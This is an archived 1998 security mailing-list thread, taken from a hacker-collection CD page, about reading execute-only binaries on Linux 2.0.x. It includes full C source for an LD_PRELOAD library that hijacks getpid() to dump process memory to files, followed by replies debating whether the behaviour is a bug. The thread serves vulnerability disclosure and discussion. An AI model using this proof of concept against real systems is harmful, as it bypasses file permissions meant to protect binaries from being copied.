home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / processdump.txt < prev    next >
Encoding:
Internet Message Format  |  1998-10-15  |  4.5 KB

  1. Date:         Tue, 15 Sep 1998 12:36:22 +0800
  2. From:         David Luyer <luyer@UCS.UWA.EDU.AU>
  3. Subject:      Dump a mode --x--x--x binary on Linux 2.0.x
  4.  
  5. The following file can be LD_PRELOAD'ed against a mode 111 (--x--x--x)
  6. binary on Linux 2.0.x.  It will dump the binary to a series of
  7. process-dump-... files in the current directory.  The executable itself
  8. can be recovered by catting the first few files together and truncating
  9. at the executable size.  I have tested this by reconstructing a copy of
  10. /bin/cat which I had protected mode 111 under Linux 2.0.x.
  11.  
  12. Tested up to 2.0.35 and ld.so 2.0.7.
  13.  
  14. I noticed this problem after Andreas Kies pointed out on linux-kernel
  15. that you can strace a mode 111 (--x--x--x) binary on Linux 2.0.x.  His
  16. patch for that problem can be found in the linux-kernel archives, I'm not
  17. aware of a patch for this problem yet.
  18.  
  19. David.
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <unistd.h>
  24.  
  25. static char * filename = "process-dump-%04x-%08lx:%08lx";
  26. static int ___mypid = 0;
  27.  
  28. void ___dump_memory() {
  29. FILE *f, *maps;
  30. char str[80], c, *fname;
  31. unsigned long fr, to;
  32.  
  33.   maps = fopen("/proc/self/maps", "r");
  34.   while (fgets(str, 80, maps) != NULL) {
  35.     if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) {
  36.       fprintf(stderr, "bad /proc/maps line: %s\n", str);
  37.       continue;
  38.     }
  39.     if(c != 'r') {
  40.       fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to);
  41.       continue;
  42.     }
  43.     if((to - fr) % 4096) {
  44.       fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to);
  45.     }
  46.     fname = malloc(strlen(filename) + 9);
  47.     sprintf(fname, filename, ___mypid, fr, to);
  48.     unlink(fname);
  49.     f = fopen(fname, "w");
  50.     fwrite((void *)fr, (to - fr)/4096, 4096, f);
  51.     fclose(f);
  52.   }
  53.   fclose(maps);
  54. }
  55.  
  56. int getpid() {
  57.  /* override getpid() since this is called in most process startup */
  58.  if(!___mypid) {
  59.     ___mypid = __getpid();
  60.     ___dump_memory();
  61.  }
  62.  return ___mypid;
  63. }
  64.  
  65. int fork() {
  66.   /* make sure getpid() returns correct value after fork() */
  67.   int i;
  68.  
  69.   if((i = __fork()) && i != -1)
  70.     ___mypid = i;
  71.   return i;
  72. }
  73.  
  74. int clone() {
  75.   /* I couldn't be bothered... */
  76.   fputs("sorry this preload does not support clone()\n", stderr);
  77.   return -1;
  78. }
  79.  
  80. -------------------------------------------------------------------------
  81.  
  82. Date:         Tue, 15 Sep 1998 14:52:30 +0100
  83. From:         Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
  84. Subject:      Re: Dump a mode --x--x--x binary on Linux 2.0.x
  85.  
  86. > process-dump-... files in the current directory.  The executable itself
  87. > can be recovered by catting the first few files together and truncating
  88. > at the executable size.  I have tested this by reconstructing a copy of
  89. > /bin/cat which I had protected mode 111 under Linux 2.0.x.
  90.  
  91. You can only do this for non setuid applications. I would question it
  92. is even a bug. Execute only is an extremely vague concept anyway on
  93. x86 since the chip doesnt really support it physically.
  94.  
  95. The convenience and usefulness of LD_PRELOAD seems to far outweigh this
  96. consideration for normal use. Its probably one for the 'secure linux'
  97. patch collection therefore.
  98.  
  99. Alan
  100.  
  101. -------------------------------------------------------------------------
  102.  
  103. Date:         Tue, 15 Sep 1998 20:20:15 +0200
  104. From:         Casper Dik <casper@HOLLAND.SUN.COM>
  105. Subject:      Re: Dump a mode --x--x--x binary on Linux 2.0.x
  106.  
  107. >> process-dump-... files in the current directory.  The executable itself
  108. >> can be recovered by catting the first few files together and truncating
  109. >> at the executable size.  I have tested this by reconstructing a copy of
  110. >> /bin/cat which I had protected mode 111 under Linux 2.0.x.
  111. >
  112. >You can only do this for non setuid applications. I would question it
  113. >is even a bug. Execute only is an extremely vague concept anyway on
  114. >x86 since the chip doesnt really support it physically.
  115.  
  116. Solaris has the same "problem" and I too am not sure whether it's
  117. a bug or not.  Also, filesystems like NFS make no distinction between
  118. read-for-execute or read-for-reading.
  119.  
  120. Solaris /proc disallows access to execute only binaries, but its
  121. LD_PRELOAD and also LD_LIBRARY_PATH have the exact same problem.
  122. LD_LIBRARY_PATH is somewhat trickier to abuse as it requires you to
  123. build an entire library and not just an object with a few replacement
  124. function, although you might get very far by just using a .init section
  125. and little substance.
  126.  
  127. >The convenience and usefulness of LD_PRELOAD seems to far outweigh this
  128. >consideration for normal use. Its probably one for the 'secure linux'
  129. >patch collection therefore.
  130.  
  131. Indeed, and I would think that disabling LD_LIBRARY_PATH too would have
  132. serious usability impact.
  133.  
  134. Casper
  135.  
  136.  
  137.